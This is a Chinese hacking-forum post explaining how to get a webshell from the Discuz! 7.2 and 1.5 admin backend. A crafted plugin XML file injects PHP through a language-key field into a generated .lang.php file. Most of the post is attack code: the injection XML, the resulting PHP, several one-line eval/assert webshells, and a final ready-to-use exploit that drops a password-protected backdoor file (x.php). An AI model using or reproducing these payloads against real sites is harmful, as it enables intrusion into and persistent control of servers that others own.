dz7.2&1.5后台拿shell[无ucenter非创始人]

作者:hack1990 时间:12-09-22 阅读数:1282人阅读

这是在没有ucenter和manyou插件漏洞并且不是创始人的情况下的.

6.0和7.0就不说了. 直接开始吧,

先说7.2.
在那篇文章最后说'如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.'
我尝试了很久都无效, 就找了个7.2的后台试验了一下.

方法是插件处添加xml文件.

这段代码是7.2和1.5通用的.


<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[shell]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <item id="a"><![CDATA[b]]></item>
                                <item id=");phpinfo();?>"><![CDATA[x]]></item>
                        </item>
                </item>
        </item>
</root>
上传后在forumdataplugins文件夹下生成shell.lang.php文件.
内容如下:

 

<?php
$scriptlang['shell'] = array(
        'a' => 'b',
        ');phpinfo();?>' => 'x',
);
 
?>
看到了, ;phpinfo();?> 写出来了, 配上头文件就语句正常.
访问shell.lang.php正常显示phpinfo, 既然能写出来,就说明肯定能获得shell的.

那尝试直接写入一句话.

直接把;phpinfo();?>替换为 ;@eval($_POST['adm1n']);?>试试.

上传后结果如下:

 

 

看到'', 明白肯定是被替换添加了. 打开源文件看:

 

<?php
$scriptlang['shell'] = array(
    'a' => '=>1);@eval($_POST['admin163']);?>")?>',
);
 
?>
单引号前被添加了, 就无效了. 那就换个无单引号的试试.
用这条

 

< ?php ($_=@$_GET[admin163]).@$_($_POST[org])?>
直接打开文件shell.lang.php, 显示空白. 应该是成功了.
可按照一句话格式输入地址?adm1n=assert显示
")?>', ); ?>
就是说明闭合生效, 完美运行.
文件源码如下:


<?php
$scriptlang['shell'] = array(
        'a' => '=>1);($_=@$_GET[admin163]).@$_($_POST[org])?>")?>',
);
 
?>完美拼凑一个一句话:
<?php ($_=@$_GET[adm1n]).@$_($_POST[org])?>
成功连接一句话...

-------
这里说一下.. 好意外.. 怎么变的这么简单了..

当时我拿的那个站, 这样也不行, 当时还没用其他的dz7.2的站试验, 也没法看源码.. 而且php还是无报错回显的, 完全不知道怎么回事, 更不知道是单引号的问题, 因为我尝试了各种单引号双引号无引号..都不可以.. 尝试创建文件写入一句话也失败

免杀问题也考虑过, base64_encode(serialize($a))这个更是各种尝试.. 而本目录既然能生成shell.lang.php文件就说明是可写的, 也不存在不可写问题.. 当时真是想破了脑袋.. 最后是用

 

<php fputs(fopen("x.php","a"),"a")?>


这样一个字符一个字符写进去的... 可现在..
这文章都写了这么多了.. 重写麻烦.. 还是发了吧..

------

另外1.5同上..

在来个通用的exp吧..

 

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
        <item id="Title"><![CDATA[Discuz! Plugin]]></item>
        <item id="Version"><![CDATA[7.2]]></item>
        <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
        <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
        <item id="Data">
                <item id="plugin">
                        <item id="available"><![CDATA[0]]></item>
                        <item id="adminid"><![CDATA[0]]></item>
                        <item id="name"><![CDATA[www]]></item>
                        <item id="identifier"><![CDATA[adm1n]]></item>
                        <item id="description"><![CDATA[]]></item>
                        <item id="datatables"><![CDATA[]]></item>
                        <item id="directory"><![CDATA[]]></item>
                        <item id="copyright"><![CDATA[]]></item>
                        <item id="modules"><![CDATA[a:0:{}]]></item>
                        <item id="version"><![CDATA[]]></item>
                </item>
                <item id="version"><![CDATA[7.2]]></item>
                <item id="language">
                        <item id="scriptlang">
                                <itemid="a"><![CDATA[=>1);fputs(fopen("x.php","w"),"<?eval($_POST[f4ck]);?>]]></item>
                        </item>
                </item>
        </item>
</root>
直接传这个插件里, 然后直接打开
forumdata/plugins/adm1n.lang.php
文件就会在本目录下生成一个密码为f4ck的一句话木马x.php

就这样吧.. 尴尬.. 等在想想题材吧..
 

评论列表

发表评论